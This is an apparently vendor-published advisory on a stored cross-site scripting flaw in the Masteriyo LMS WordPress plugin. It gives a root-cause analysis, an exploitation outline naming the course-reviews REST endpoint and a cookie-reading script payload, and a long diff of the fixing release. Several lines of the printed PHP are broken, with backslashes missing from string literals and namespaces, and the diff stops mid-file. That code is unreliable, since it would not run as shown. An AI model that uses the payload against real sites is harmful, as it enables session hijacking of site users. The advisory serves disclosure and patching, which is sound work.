Opens in a new tab
Published : November 17, 2026

CVE-2026-129323: Masteriyo LMS <= 3.5.1 Authenticated (Subscriber+) Stored Cross-Site Scripting via Course Review Content PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.5.1
Patched Version 3.5.2
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-129323: This is an authenticated (Subscriber+) Stored Cross-Site Scripting vulnerability in the Masteriyo LMS plugin versions up to and including 3.5.1. The flaw resides in the ‘content’ parameter of the course review submission. Due to insufficient input sanitization and output escaping, an attacker with the ability to submit course reviews can inject arbitrary JavaScript that executes in the browser of any user viewing the compromised page. The CVSS score is 6.4 (Medium), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation). On a default installation, unauthenticated visitors can self-register as students, obtaining the necessary capability to submit reviews.

Root Cause: The vulnerability stems from the lack of proper sanitization and escaping of the course review content when it is stored and later displayed. In the vulnerable code, the REST API controller `CourseReviewsController.php` (lines around 695-696) sets the title using `set_title( $request[‘title’] )` without sanitization, but the content parameter is handled without applying WordPress’s `pre_comment_content` filter, which normally applies KSES for users without `unfiltered_html` capability. The repository classes (`CourseReviewRepository.php` and others) directly insert the content using `wp_insert_comment()` without filtering. Similarly, the update methods call `wp_update_comment()` without applying the filter, and the model retains the unsanitized content. The patch adds `apply_filters( ‘pre_comment_content’, … )` before inserting or updating, and uses `wp_unslash` to match the stored data. Additionally, the patch sanitizes the title with `sanitize_text_field` and marks the `type` parameter as read-only to prevent tampering.

Exploitation: An attacker with subscriber-level access (or any unauthenticated user who can self-register as a student via the plugin’s public `/account/signup/` form) can submit a course review through the REST API endpoint `/wp-json/masteriyo/v1/course-reviews` (or the corresponding admin-ajax handler). The attacker sends a POST request with a JSON payload containing the `content` parameter set to a malicious script, such as `alert(document.cookie)`. The review is stored unsanitized. When an administrator or any other user views the course page where the review is displayed, the script executes in their browser. The patch prevents this by applying KSES filtering to the content before storage.

Patch Analysis: The patch in version 3.5.2 introduces proper sanitization for course review content. In `CourseReviewRepository.php`, before calling `wp_insert_comment()`, the code now applies the `pre_comment_content` filter, which runs KSES for users without `unfiltered_html` capability, and then uses `wp_unslash` to ensure consistency. For updates, after `wp_update_comment()`, the model’s content is refreshed from the database to reflect any filtering. The same changes are applied to `LessonReviewRepository.php`, `QuizReviewRepository.php`, and `CourseQuestionAnswerRepository.php`. Additionally, the `CourseReviewsController.php` now sanitizes the title with `sanitize_text_field` and marks the `type` parameter as read-only, preventing manipulation. The patch also includes other unrelated security hardening measures, such as improved unserialization checks and permission verifications.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected review, including administrators. This can lead to session hijacking, theft of cookies, privilege escalation, or redirection to malicious sites. The attacker could also perform actions on behalf of the victim, such as creating new administrative accounts or modifying content. Given the self-registration capability, the vulnerability is easily exploitable without authentication on default installations. The CVSS score of 6.4 reflects the medium severity due to the required user interaction and limited scope, but the real-world impact can be severe.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learning-management-system/addons/google-meet/RestApi/GoogleMeetController.php
+++ b/learning-management-system/addons/google-meet/RestApi/GoogleMeetController.php
@@ -853,7 +853,6 @@
 				'description'                  => isset( $event['description'] ) ? $event['description'] : '',
 				'starts_at'                    => $event['start']['dateTime'],
 				'ends_at'                      => $event['end']['dateTime'],
-				'author'                       => $event['id'],
 				'calender_url'                 => $event['htmlLink'],
 				'time_zone'                    => $event['start']['timeZone'],
 				'meet_url'                     => $event['hangoutLink'],
@@ -1066,7 +1065,6 @@
 				'description'                  => isset( $event['description'] ) ? $event['description'] : '',
 				'starts_at'                    => $event['start']['dateTime'],
 				'ends_at'                      => $event['end']['dateTime'],
-				'author'                       => $event['id'],
 				'calender_url'                 => $event['htmlLink'],
 				'time_zone'                    => $event['start']['timeZone'],
 				'meet_url'                     => $event['hangoutLink'],
--- a/learning-management-system/addons/scorm/Controllers/ScormController.php
+++ b/learning-management-system/addons/scorm/Controllers/ScormController.php
@@ -417,9 +417,11 @@
 			);
 		}

-		if ( ! $this->permission->rest_check_post_permissions( PostType::COURSE, 'create' ) ) {
+		$course_id = absint( $request->get_param( 'course_id' ) );
+
+		if ( ! current_user_can( 'unfiltered_html' ) || ! $course_id || ! $this->permission->rest_check_post_permissions( PostType::COURSE, 'update', $course_id ) ) {
 			return new WP_Error(
-				'masteriyo_rest_cannot_create',
+				'masteriyo_rest_cannot_import',
 				__( 'Sorry, you are not allowed to import courses.', 'learning-management-system' ),
 				array(
 					'status' => rest_authorization_required_code(),
@@ -638,6 +640,15 @@
 			$item_name = $r_file['name'];
 			$item_ext  = strtolower( pathinfo( $item_name, PATHINFO_EXTENSION ) );

+			if ( ! self::is_safe_archive_path( $item_name ) || self::is_archive_symlink( $zip, $i ) ) {
+				$zip->close();
+				unlink( $file );
+				return new WP_Error(
+					'unsafe_archive_entry',
+					__( 'The package contains an unsafe file path.', 'learning-management-system' )
+				);
+			}
+
 			if ( substr( $item_name, 0, 9 ) === '__MACOSX/' ) {
 				$macosx[] = $item_name;
 				continue;
@@ -711,4 +722,42 @@

 		return $scorm_package;
 	}
+
+	/**
+	 * Whether an archive entry stays within the package extraction directory.
+	 *
+	 * @param string $path Archive entry path.
+	 * @return bool
+	 */
+	private static function is_safe_archive_path( $path ) {
+		if ( ! is_string( $path ) || '' === $path || false !== strpos( $path, "" ) ) {
+			return false;
+		}
+
+		$path = str_replace( '\', '/', $path );
+
+		if ( '/' === $path[0] || preg_match( '/^[a-zA-Z]://', $path ) ) {
+			return false;
+		}
+
+		return ! in_array( '..', explode( '/', $path ), true );
+	}
+
+	/**
+	 * Whether an archive entry is a symbolic link.
+	 *
+	 * @param ZipArchive $zip   Open archive.
+	 * @param int        $index Entry index.
+	 * @return bool
+	 */
+	private static function is_archive_symlink( $zip, $index ) {
+		$opsys      = 0;
+		$attributes = 0;
+
+		if ( ! $zip->getExternalAttributesIndex( $index, $opsys, $attributes ) ) {
+			return false;
+		}
+
+		return 0120000 === ( ( $attributes >> 16 ) & 0170000 );
+	}
 }
--- a/learning-management-system/addons/scorm/helper/scorm.php
+++ b/learning-management-system/addons/scorm/helper/scorm.php
@@ -38,7 +38,7 @@

 		$scorm_package = json_decode( $scorm_package_meta, true );

-		if ( empty( $scorm_package ) || ! isset( $scorm_package['file_name'] ) || ! isset( $scorm_package['scorm_dir_name'] ) || ! isset( $scorm_package['scorm_version'] ) ) {
+		if ( ! masteriyo_is_valid_scorm_package_meta( $scorm_package ) ) {
 			return null;
 		}

@@ -57,6 +57,37 @@
 	}
 }

+if ( ! function_exists( 'masteriyo_is_valid_scorm_package_meta' ) ) {
+	/**
+	 * Whether stored SCORM package metadata points inside the SCORM upload directory.
+	 *
+	 * Imports name the package directory with digits only and store a file name without
+	 * path separators, so any other value cannot come from an import and must not build a path.
+	 * The file name may be empty (`sanitize_file_name()` empties a name such as `_`); it then
+	 * resolves to the package directory itself.
+	 * The check ignores the viewer's capabilities: `sanitize_file_name()` would change a name
+	 * such as `intro.html.scorm` for a user without `unfiltered_html`.
+	 *
+	 * @param mixed $scorm_package Decoded `_scorm_package` meta.
+	 *
+	 * @return bool
+	 */
+	function masteriyo_is_valid_scorm_package_meta( $scorm_package ) {
+		if ( ! is_array( $scorm_package ) || ! isset( $scorm_package['file_name'], $scorm_package['scorm_dir_name'], $scorm_package['scorm_version'] ) ) {
+			return false;
+		}
+
+		$dir_name  = $scorm_package['scorm_dir_name'];
+		$file_name = $scorm_package['file_name'];
+
+		if ( ! is_scalar( $dir_name ) || ! is_string( $file_name ) || ! ctype_digit( (string) $dir_name ) ) {
+			return false;
+		}
+
+		return ! in_array( $file_name, array( '.', '..' ), true ) && false === strpbrk( $file_name, "/\" );
+	}
+}
+
 if ( ! function_exists( 'masteriyo_is_scorm_course' ) ) {
 	/**
 	 * Check if a course is a SCORM course.
--- a/learning-management-system/includes/Cart/Cart.php
+++ b/learning-management-system/includes/Cart/Cart.php
@@ -238,7 +238,8 @@
 			$callable = apply_filters( 'masteriyo_add_to_cart_get_item_callable', 'masteriyo_get_course', $values['item_id'] );
 			$item     = call_user_func( $callable, $values['item_id'] );

-			if ( empty( $item ) || ! $item->exists() || 0 >= $values['quantity'] ) {
+			// Below 1 also drops a fractional quantity stored before add_to_cart() made it whole.
+			if ( empty( $item ) || ! $item->exists() || 1 > $values['quantity'] ) {
 				continue;
 			}

@@ -1128,7 +1129,8 @@
 			 * @param integer $item_id
 			 * @param MasteriyoModelsCourse|null $course
 			 */
-			$quantity = apply_filters( 'masteriyo_add_to_cart_quantity', $quantity, $item_id, $item );
+			// Whole numbers only: a fraction such as 0.00001 rounds a paid course's total to zero.
+			$quantity = (int) apply_filters( 'masteriyo_add_to_cart_quantity', $quantity, $item_id, $item );

 			if ( $quantity <= 0 || ! $item || 'trash' === $item->get_status() ) {
 				return false;
--- a/learning-management-system/includes/Checkout.php
+++ b/learning-management-system/includes/Checkout.php
@@ -409,6 +409,9 @@
 				)
 			);

+			// Only this account gets a generated password; the rest of the request keeps the site setting.
+			remove_filter( 'masteriyo_registration_is_generate_password', '__return_true' );
+
 			if ( is_null( $user ) || is_wp_error( $user ) ) {
 				masteriyo_get_logger()->error(
 					$user->get_error_message(),
@@ -432,19 +435,13 @@
 				throw new Exception( esc_html__( 'Invalid username or email', 'learning-management-system' ) );
 			}

-			if ( masteriyo_registration_is_generate_password() ) {
-				if ( masteriyo_is_email_verification_enabled() ) {
-					$user->set_status( UserStatus::SPAM );
-					masteriyo_add_notice( __( 'An email has been sent to your inbox. Please confirm your email before logging in.', 'learning-management-system' ) );
-				} else {
-					$user->set_status( UserStatus::ACTIVE );
-					masteriyo_set_customer_auth_cookie( $user->get_id() );
-					masteriyo_add_notice( __( 'Your account was created successfully and a password has been sent to your email address.', 'learning-management-system' ) );
-				}
+			if ( masteriyo_is_email_verification_enabled() ) {
+				$user->set_status( UserStatus::SPAM );
+				masteriyo_add_notice( __( 'An email has been sent to your inbox. Please confirm your email before logging in.', 'learning-management-system' ) );
 			} else {
-					$user->set_status( UserStatus::ACTIVE );
-					masteriyo_set_customer_auth_cookie( $user->get_id() );
-					masteriyo_add_notice( __( 'Your account has been created successfully.', 'learning-management-system' ) );
+				$user->set_status( UserStatus::ACTIVE );
+				masteriyo_set_customer_auth_cookie( $user->get_id() );
+				masteriyo_add_notice( __( 'Your account was created successfully and a password has been sent to your email address.', 'learning-management-system' ) );
 			}

 			$data['customer_id'] = $user->get_id();
--- a/learning-management-system/includes/Helper/serialize.php
+++ b/learning-management-system/includes/Helper/serialize.php
@@ -73,28 +73,71 @@
 	/**
 	 * Whether a decoded value is, or contains at any depth, an object other
 	 * than MasteriyoDateTime or stdClass (typically a __PHP_Incomplete_Class).
-	 * A stdClass is looked inside, like an array.
+	 * A stdClass and a MasteriyoDateTime are looked inside, like an array.
 	 *
-	 * @param mixed $value Decoded value.
+	 * A serialized value can refer to itself (`r:` and `R:` back-references), so
+	 * the walk goes at most 512 levels deep and into at most 100,000 arrays and
+	 * objects. A value that needs more counts as disallowed. Scalars do not count,
+	 * so a long list of them always decodes.
+	 *
+	 * @param mixed    $value  Decoded value.
+	 * @param int|null $budget Arrays and objects left to visit. Callers leave it out.
+	 * @param int      $depth  Current depth. Callers leave it out.
 	 * @return bool
 	 */
-	function masteriyo_holds_disallowed_object( $value ) {
-		if ( $value instanceof MasteriyoDateTime ) {
+	function masteriyo_holds_disallowed_object( $value, &$budget = null, $depth = 0 ) {
+		if ( ! is_array( $value ) && ! is_object( $value ) ) {
 			return false;
 		}

-		if ( is_object( $value ) && 'stdClass' !== get_class( $value ) ) {
+		if ( null === $budget ) {
+			$budget = 100000;
+		}
+
+		if ( --$budget < 0 || $depth > 512 ) {
+			return true;
+		}
+
+		if ( is_object( $value ) && ! $value instanceof MasteriyoDateTime && 'stdClass' !== get_class( $value ) ) {
 			return true;
 		}

-		if ( is_array( $value ) || is_object( $value ) ) {
-			foreach ( $value as $item ) {
-				if ( masteriyo_holds_disallowed_object( $item ) ) {
-					return true;
-				}
+		// The array cast also lists protected properties, such as MasteriyoDateTime::$utc_offset, which foreach skips.
+		foreach ( (array) $value as $item ) {
+			if ( masteriyo_holds_disallowed_object( $item, $budget, $depth + 1 ) ) {
+				return true;
 			}
 		}

 		return false;
 	}
 }
+
+if ( ! function_exists( 'masteriyo_unserialize_import_value' ) ) {
+	/**
+	 * Decode a meta value read from an import file.
+	 *
+	 * Exports carry meta as stored in the database, so a value can be a
+	 * serialized string. It is decoded with masteriyo_maybe_unserialize(), which
+	 * never instantiates a class outside its allow-list. Some meta is stored
+	 * serialized twice (the MasterStudy migration's `_download_materials`), so a
+	 * decoded serialized string is kept as stored. A value that holds a
+	 * disallowed object, directly or inside such a string, or that cannot be
+	 * decoded, is refused: saving it would hand it to any later
+	 * maybe_unserialize() of that meta.
+	 *
+	 * @param mixed $value Meta value from the import file.
+	 * @return mixed|null The decoded value, or null when it must not be saved.
+	 */
+	function masteriyo_unserialize_import_value( $value ) {
+		$value = masteriyo_maybe_unserialize( $value );
+
+		// masteriyo_maybe_unserialize() returns a string it refuses unchanged. One more
+		// level covers readers that decode stored meta a second time.
+		if ( is_string( $value ) && is_serialized( $value ) && masteriyo_maybe_unserialize( $value ) === $value ) {
+			return null;
+		}
+
+		return $value;
+	}
+}
--- a/learning-management-system/includes/Importer/CourseImporter.php
+++ b/learning-management-system/includes/Importer/CourseImporter.php
@@ -182,7 +182,7 @@

 			$data_to_insert                = masteriyo_array_except(
 				$post,
-				array( 'ID', 'terms', 'postmeta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'terms', 'postmeta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);
 			$data_to_insert['post_author'] = get_current_user_id();

@@ -285,7 +285,11 @@
 		}

 		foreach ( $metas_to_set as $meta_key => $meta_value ) {
-			$value = maybe_unserialize( $meta_value[0] );
+			$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+			if ( null === $value ) {
+				continue;
+			}

 			// Update old category ids with new ones.
 			if ( '_category_ids' === $meta_key && is_array( $value ) ) {
@@ -309,7 +313,7 @@
 				);
 			}

-			add_post_meta( $post_id, $meta_key, wp_slash( $value ) );
+			add_post_meta( $post_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 		}
 	}

@@ -771,14 +775,18 @@
 	 */
 	protected function set_term_metas( int $term_id, $metas_to_set ) {
 		foreach ( $metas_to_set as $meta_key => $meta_value ) {
-			$value = maybe_unserialize( $meta_value[0] );
+			$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+			if ( null === $value ) {
+				continue;
+			}

 			// Add to history for later.
 			if ( '_featured_image' === $meta_key ) {
 				$this->history['term_featured_images'][ intval( $term_id ) ] = intval( $value );
 			}

-			add_term_meta( $term_id, $meta_key, wp_slash( $value ) );
+			add_term_meta( $term_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 		}
 	}

--- a/learning-management-system/includes/Importer/QuizImporter.php
+++ b/learning-management-system/includes/Importer/QuizImporter.php
@@ -151,7 +151,7 @@

 			$post_data = masteriyo_array_except(
 				$post,
-				array( 'ID', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);

 			$post_data['post_author'] = get_current_user_id();
@@ -166,8 +166,13 @@
 			// Insert post meta data.
 			if ( isset( $post['meta'] ) && is_array( $post['meta'] ) ) {
 				foreach ( $post['meta'] as $meta_key => $meta_value ) {
-					$value = maybe_unserialize( $meta_value[0] );
-					add_post_meta( $post_id, $meta_key, wp_slash( $value ) );
+					$value = masteriyo_unserialize_import_value( $meta_value[0] );
+
+					if ( null === $value ) {
+						continue;
+					}
+
+					add_post_meta( $post_id, $meta_key, map_deep( $value, 'wp_slash' ) );
 				}
 			}

--- a/learning-management-system/includes/Repository/CourseQuestionAnswerRepository.php
+++ b/learning-management-system/includes/Repository/CourseQuestionAnswerRepository.php
@@ -77,6 +77,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $course_qa->get_content() );
+		$course_qa->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new course question-answer data before creating.
@@ -96,7 +101,7 @@
 					'comment_author_IP'    => $course_qa->get_ip_address( 'edit' ),
 					'comment_date'         => gmdate( 'Y-m-d H:i:s', $course_qa->get_created_at( 'edit' )->getOffsetTimestamp() ),
 					'comment_date_gmt'     => gmdate( 'Y-m-d H:i:s', $course_qa->get_created_at( 'edit' )->getTimestamp() ),
-					'comment_content'      => $course_qa->get_content(),
+					'comment_content'      => $content,
 					'comment_approved'     => $course_qa->get_status( 'edit' ),
 					'comment_agent'        => $course_qa->get_agent( 'edit' ),
 					'comment_type'         => $course_qa->get_type( 'edit' ),
@@ -220,6 +225,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $course_qa->get_id() ), $course_qa_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$course_qa->set_content( get_comment( $course_qa->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $course_qa );
--- a/learning-management-system/includes/Repository/CourseReviewRepository.php
+++ b/learning-management-system/includes/Repository/CourseReviewRepository.php
@@ -91,6 +91,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $course_review->get_content() );
+		$course_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new course review data before creating.
@@ -108,7 +113,7 @@
 					'comment_author_email' => $course_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $course_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $course_review->get_ip_address( 'edit' ),
-					'comment_content'      => $course_review->get_content(),
+					'comment_content'      => $content,
 					'comment_karma'        => $course_review->get_rating( 'edit' ),
 					'comment_approved'     => $course_review->get_status( 'edit' ),
 					'comment_agent'        => $course_review->get_agent( 'edit' ),
@@ -239,6 +244,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $course_review->get_id() ), $course_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$course_review->set_content( get_comment( $course_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $course_review );
--- a/learning-management-system/includes/Repository/LessonReviewRepository.php
+++ b/learning-management-system/includes/Repository/LessonReviewRepository.php
@@ -90,6 +90,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $lesson_review->get_content() );
+		$lesson_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 			/**
 			 * Filters new lesson review data before creating.
@@ -107,7 +112,7 @@
 					'comment_author_email' => $lesson_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $lesson_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $lesson_review->get_ip_address( 'edit' ),
-					'comment_content'      => $lesson_review->get_content(),
+					'comment_content'      => $content,
 					'comment_approved'     => $lesson_review->get_status( 'edit' ),
 					'comment_agent'        => $lesson_review->get_agent( 'edit' ),
 					'comment_type'         => $lesson_review->get_type( 'edit' ),
@@ -234,6 +239,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $lesson_review->get_id() ), $lesson_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$lesson_review->set_content( get_comment( $lesson_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $lesson_review );
--- a/learning-management-system/includes/Repository/QuizReviewRepository.php
+++ b/learning-management-system/includes/Repository/QuizReviewRepository.php
@@ -79,6 +79,11 @@
 			}
 		}

+		// Core's filters for new comment content: kses for users without unfiltered_html.
+		// wp_insert_comment() unslashes what it stores, so the model gets the unslashed copy, as stored.
+		$content = apply_filters( 'pre_comment_content', $quiz_review->get_content() );
+		$quiz_review->set_content( wp_unslash( $content ) );
+
 		$id = wp_insert_comment(
 		/**
 		 * Filters new quiz review data before creating.
@@ -96,7 +101,7 @@
 					'comment_author_email' => $quiz_review->get_author_email( 'edit' ),
 					'comment_author_url'   => $quiz_review->get_author_url( 'edit' ),
 					'comment_author_IP'    => $quiz_review->get_ip_address( 'edit' ),
-					'comment_content'      => $quiz_review->get_content(),
+					'comment_content'      => $content,
 					'comment_karma'        => $quiz_review->get_rating( 'edit' ),
 					'comment_approved'     => $quiz_review->get_status( 'edit' ),
 					'comment_agent'        => $quiz_review->get_agent( 'edit' ),
@@ -227,6 +232,9 @@
 			);

 			wp_update_comment( array_merge( array( 'comment_ID' => $quiz_review->get_id() ), $quiz_review_data ) );
+
+			// wp_update_comment() filters what it stores, so the update hook gets the stored content.
+			$quiz_review->set_content( get_comment( $quiz_review->get_id() )->comment_content );
 		}

 		$this->update_comment_meta( $quiz_review );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/CourseQuestionAnswersController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/CourseQuestionAnswersController.php
@@ -706,11 +706,6 @@
 			$mto_course_qa->set_agent( $request['agent'] );
 		}

-		// Course question-answer Type.
-		if ( isset( $request['type'] ) ) {
-			$mto_course_qa->set_type( $request['type'] );
-		}
-
 		// Course ID.
 		if ( isset( $request['course_id'] ) ) {
 			$mto_course_qa->set_course_id( $request['course_id'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/CourseReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/CourseReviewsController.php
@@ -561,6 +561,7 @@
 					'description' => 'Course Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Course Review Parent.',
@@ -695,7 +696,7 @@

 		// Course Review Title.
 		if ( isset( $request['title'] ) ) {
-			$course_review->set_title( $request['title'] );
+			$course_review->set_title( sanitize_text_field( $request['title'] ) );
 		}

 		// Course Review Content.
@@ -741,11 +742,6 @@
 			$course_review->set_agent( $request['agent'] );
 		}

-		// Course Review Type.
-		if ( isset( $request['type'] ) ) {
-			$course_review->set_type( $request['type'] );
-		}
-
 		// Course Review Parent.
 		if ( isset( $request['parent'] ) ) {
 			$course_review->set_parent( $request['parent'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/LessonReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/LessonReviewsController.php
@@ -746,6 +746,7 @@
 					'description' => 'Lesson Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Lesson Review Parent.',
@@ -910,11 +911,6 @@
 			$lesson_review->set_agent( $request['agent'] );
 		}

-		// Lesson Review Type.
-		if ( isset( $request['type'] ) ) {
-			$lesson_review->set_type( $request['type'] );
-		}
-
 		// Lesson Review Parent.
 		if ( isset( $request['parent'] ) ) {
 			$lesson_review->set_parent( $request['parent'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizAttemptsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizAttemptsController.php
@@ -625,8 +625,8 @@
 			$args['user_id'] = masteriyo( 'session' )->get_user_id();
 		}

-		// Prevent students from viewing other students' quiz attempts if sent request without user_id.
-		if ( ! isset( $request['user_id'] ) && masteriyo_is_current_user_student() ) {
+		// Students only ever see their own attempts, whatever user_id the request carries.
+		if ( masteriyo_is_current_user_student() ) {
 			$args['user_id'] = get_current_user_id();
 		}

@@ -1397,7 +1397,8 @@

 			// To make sure student don't get quiz attempts using user id param.
 			if ( masteriyo_is_current_user_student() ) {
-				if ( ! empty( $request['user_id'] ) && masteriyo_get_current_user_id() !== absint( $request['user_id'] ) ) {
+				// isset(), not empty(): user_id=0 must not skip the ownership check.
+				if ( isset( $request['user_id'] ) && masteriyo_get_current_user_id() !== absint( $request['user_id'] ) ) {
 					return new WP_Error(
 						'masteriyo_rest_cannot_read',
 						__( 'Sorry, you are not allowed to read resources.', 'learning-management-system' ),
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizReviewsController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizReviewsController.php
@@ -581,6 +581,7 @@
 					'description' => 'Quiz Review Type.',
 					'type'        => 'string',
 					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
 				),
 				'parent'       => array(
 					'description' => 'Quiz Review Parent.',
@@ -730,11 +731,6 @@
 			$quiz_review->set_agent( $request['agent'] );
 		}

-		// Quiz Review Type.
-		if ( isset( $request['type'] ) ) {
-			$quiz_review->set_type( $request['type'] );
-		}
-
 		// Quiz ID.
 		if ( isset( $request['quiz_id'] ) ) {
 			$quiz_review->set_quiz_id( $request['quiz_id'] );
--- a/learning-management-system/includes/RestApi/Controllers/Version1/QuizzesImportExportController.php
+++ b/learning-management-system/includes/RestApi/Controllers/Version1/QuizzesImportExportController.php
@@ -588,7 +588,7 @@

 		$quiz = masteriyo_array_except(
 			$quiz,
-			array( 'ID', 'terms', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+			array( 'ID', 'terms', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 		);

 		$quiz['author'] = get_current_user_id();
@@ -611,9 +611,13 @@
 		}

 		foreach ( $metas as $key => $value ) {
-			$value = is_array( $value ) && isset( $value[0] ) ? $value[0] : maybe_unserialize( $value );
+			$value = masteriyo_unserialize_import_value( is_array( $value ) && isset( $value[0] ) ? $value[0] : $value );

-			add_post_meta( $quiz_id, $key, $value );
+			if ( null === $value ) {
+				continue;
+			}
+
+			add_post_meta( $quiz_id, $key, map_deep( $value, 'wp_slash' ) );
 		}

 		return $quiz_id;
@@ -648,7 +652,7 @@

 			$question = masteriyo_array_except(
 				$question,
-				array( 'ID', 'terms', 'meta', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
+				array( 'ID', 'terms', 'meta', 'meta_input', 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'post_author' )
 			);

 			$question['author']       = get_current_user_id();
@@ -661,9 +665,13 @@
 			}

 			foreach ( $metas as $key => $value ) {
-				$value = is_array( $value ) && isset( $value[0] ) ? $value[0] : maybe_unserialize( $value );
+				$value = masteriyo_unserialize_import_value( is_array( $value ) && isset( $value[0] ) ? $value[0] : $value );
+
+				if ( null === $value ) {
+					continue;
+				}

-				add_post_meta( $question_id, $key, $value );
+				add_post_meta( $question_id, $key, map_deep( $value, 'wp_slash' ) );
 			}
 		}
 	}
--- a/learning-management-system/includes/StarterTemplates/Importers/WXRImporter/WXRImporter.php
+++ b/learning-management-system/includes/StarterTemplates/Importers/WXRImporter/WXRImporter.php
@@ -1051,7 +1051,11 @@
 			if ( $key ) {
 				// export gets meta straight from the DB so could have a serialized string
 				if ( ! $value ) {
-					$value = maybe_unserialize( $meta_item['value'] );
+					$value = masteriyo_unserialize_import_value( $meta_item['value'] );
+				}
+
+				if ( null === $value ) {
+					continue;
 				}

 				if ( '_elementor_data' === $key ) {
@@ -1427,7 +1431,11 @@
 			if ( $key ) {
 				// export gets meta straight from the DB so could have a serialized string
 				if ( ! $value ) {
-					$value = maybe_unserialize( $meta_item['value'] );
+					$value = masteriyo_unserialize_import_value( $meta_item['value'] );
+				}
+
+				if ( null === $value ) {
+					continue;
 				}

 				add_term_meta( $term_id, wp_slash( $key ), wp_slash_strings_only( $value ) );
--- a/learning-management-system/includes/Tax.php
+++ b/learning-management-system/includes/Tax.php
@@ -84,7 +84,7 @@

 		$this->calculation_method = $settings['calculation_method'] ?? 'checkout';
 		$this->display_inclusive  = $settings['display_inclusive'] ?? false;
-		$this->regions            = maybe_unserialize( $settings['regions'] ?? '' );
+		$this->regions            = masteriyo_maybe_unserialize( $settings['regions'] ?? '' );
 		$this->default_tax_rate   = floatval( $settings['default_tax_rate'] ?? 0.0 );

 		// Check if taxes are enabled.
--- a/learning-management-system/lms.php
+++ b/learning-management-system/lms.php
@@ -5,7 +5,7 @@
  * Description: A Complete WordPress LMS plugin to create and sell online courses in no time.
  * Author: Masteriyo
  * Author URI: https://masteriyo.com
- * Version: 3.5.1
+ * Version: 3.5.2
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: learning-management-system
@@ -69,7 +69,7 @@
 unset( $masteriyo_pro_is_active );

 define( 'MASTERIYO_IS_PRO', false );
-define( 'MASTERIYO_VERSION', '3.5.1' );
+define( 'MASTERIYO_VERSION', '3.5.2' );
 define( 'MASTERIYO_PLUGIN_FILE', __FILE__ );

 require_once __DIR__ . '/bootstrap/plugin.php';
--- a/learning-management-system/vendor/autoload.php
+++ b/learning-management-system/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitafdbeeab0dea67c4e3c6de693a0244e7::getLoader();
+return ComposerAutoloaderInit0b376ceb1a73adb8f7cac409bbce7bbb::getLoader();
--- a/learning-management-system/vendor/codeinwp/themeisle-sdk/load.php
+++ b/learning-management-system/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
